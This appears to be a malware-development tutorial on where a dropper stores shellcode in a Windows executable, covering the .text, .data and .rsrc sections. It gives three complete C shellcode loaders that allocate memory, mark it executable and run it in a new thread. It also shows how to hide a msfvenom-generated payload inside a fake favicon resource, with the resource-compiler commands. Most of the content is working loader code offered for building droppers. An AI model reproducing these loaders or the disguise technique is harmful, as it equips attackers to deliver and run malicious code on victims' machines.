Payload Storage

The payloads are often stored in droppers. A droppers are special programs which delivers paylaod to the target machine. A simple example would be that of phishing attack, the user received a malicious document which contains the payload or the code that would get executed when the user opens the document. So, main function of a dropper would be to deliver the payload to the machine to be executed.

But where to store the payloads from the dropper ? There are three locations:

Location - .text

The .text section of a program is a portion of memory that is used to store the executable code of the program. The .text section is typically read-only and cannot be modified at runtime. An example is below:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;

	// Assign payload
	unsigned char payload[] = { } // shell code.
	unsigned int payload_len = sizeof(payload);
	
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	RtlMoveMemory(exec_mem, payload, payload_len);
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}

	return 0;
}

Here’s a breakdown of what each Win32 function does:

  1. VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

This function allocates memory in the virtual address space of the calling process. The first argument (0 in this case) specifies the starting address of the allocation (the function will choose a suitable address if this argument is 0). The second argument (payload_len) specifies the size of the allocation, in bytes. The third argument (MEM_COMMIT | MEM_RESERVE) specifies that the memory should be committed and reserved at the same time. The fourth argument (PAGE_READWRITE) specifies the initial memory protection for the allocated memory. This protection allows the memory to be read and written to.

The function returns a pointer to the allocated memory, or NULL if the allocation fails.

  1. RtlMoveMemory(exec_mem, payload, payload_len);

This function is used to copy the contents of one block of memory to another. The first argument (exec_mem) is the destination memory address, the second argument (payload) is the source memory address, and the third argument (payload_len) is the number of bytes to copy.

  1. VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

This function changes the protection of the allocated memory so that it can be executed. The first argument (exec_mem) is the address of the memory block to change. The second argument (payload_len) is the size of the memory block. The third argument (PAGE_EXECUTE_READ) specifies the new memory protection, allowing the memory to be executed and read. The fourth argument (&oldprotect) is a pointer to a variable that receives the old protection value of the memory. This value can be used to restore the original protection later, if needed.

The function returns a non-zero value if it succeeds, or zero if it fails.

Location - .data

The .data section is a portion of a program’s memory that is allocated for storing initialized global and static variables. This section is typically located immediately after the program’s code in memory.

The sample program is exactly the same, except the shellcode is initialised as the global variable:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Assign payload
unsigned char payload[] = { } // shell code.
unsigned int payload_len = sizeof(payload);

int main(void) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;	
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	RtlMoveMemory(exec_mem, payload, payload_len);
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}
	return 0;
}

Resources - .rsrc

The .rsrc section of a Windows executable file is a portion of memory that is used to store resources such as icons, bitmaps, dialogs, and version information. Resources in the .rsrc section are typically read-only and cannot be modified at runtime.

Storing shellcode in the .rsrc section of an executable file is a technique used in exploit development to execute arbitrary code in the context of the program. This technique involves creating a new resource in the .rsrc section, embedding the shellcode in the resource, and then triggering the program to load and execute the shellcode.

To store shellcode in the .rsrc section, you would first need to create a new resource using a resource editor or resource compiler. The new resource should have a suitable type and ID, such as a custom dialog or bitmap resource. Once you have created the new resource, you can embed the shellcode in the resource data.

  1. To begin we would first initilise the payload and payload length varaibles:
unsigned char * payload;
unsigned int payload_len;
  1. Extract payload from resources
// Extract payload from resources section
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = LoadResource(NULL, res);
payload = (char *) LockResource(resHandle);
payload_len = SizeofResource(NULL, res);

Here’s a breakdown of what each of these function does:

  1. FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA); - Searches for a resource with the specified name and type in the executable file’s resource table.
  2. LoadResource(NULL, res); - Loads the specified resource into memory and returns a handle to it.
  3. (char *) LockResource(resHandle); - Locks the specified resource in memory and returns a pointer to its data.
  4. SizeofResource(NULL, res); - Returns the size, in bytes, of the specified resource.

The FAVICON_ICO is resource name which is defined in another file, e.g resources.rc. The file contains the following code:

#include "resources.h"

FAVICON_ICO RCDATA calc.ico

Note that calc.ico could be binary file which contains our malicious code. The same could be generated by Metasploit MsfVenom or others.

And in the resources.h we define the resource number, for example the following:

#define FAVICON_ICO 100

Finally the resources need to compiled before the compilation of the program:

rc resources.rc
cvtres /MACHINE:x64 /OUT:resources.o resources.res

Our final program would be the following:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"
int main(void) {

	void * exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
	HGLOBAL resHandle = NULL;
	HRSRC res;

	unsigned char * payload;
	unsigned int payload_len;

	// Extract payload from resources section
	res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
	resHandle = LoadResource(NULL, res);
	payload = (char *) LockResource(resHandle);
	payload_len = SizeofResource(NULL, res);

	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	// Copy payload to new memory buffer
	RtlMoveMemory(exec_mem, payload, payload_len);
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
	if ( rv != 0 ) {
			th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
			WaitForSingleObject(th, -1);
	}
	return 0;
}

back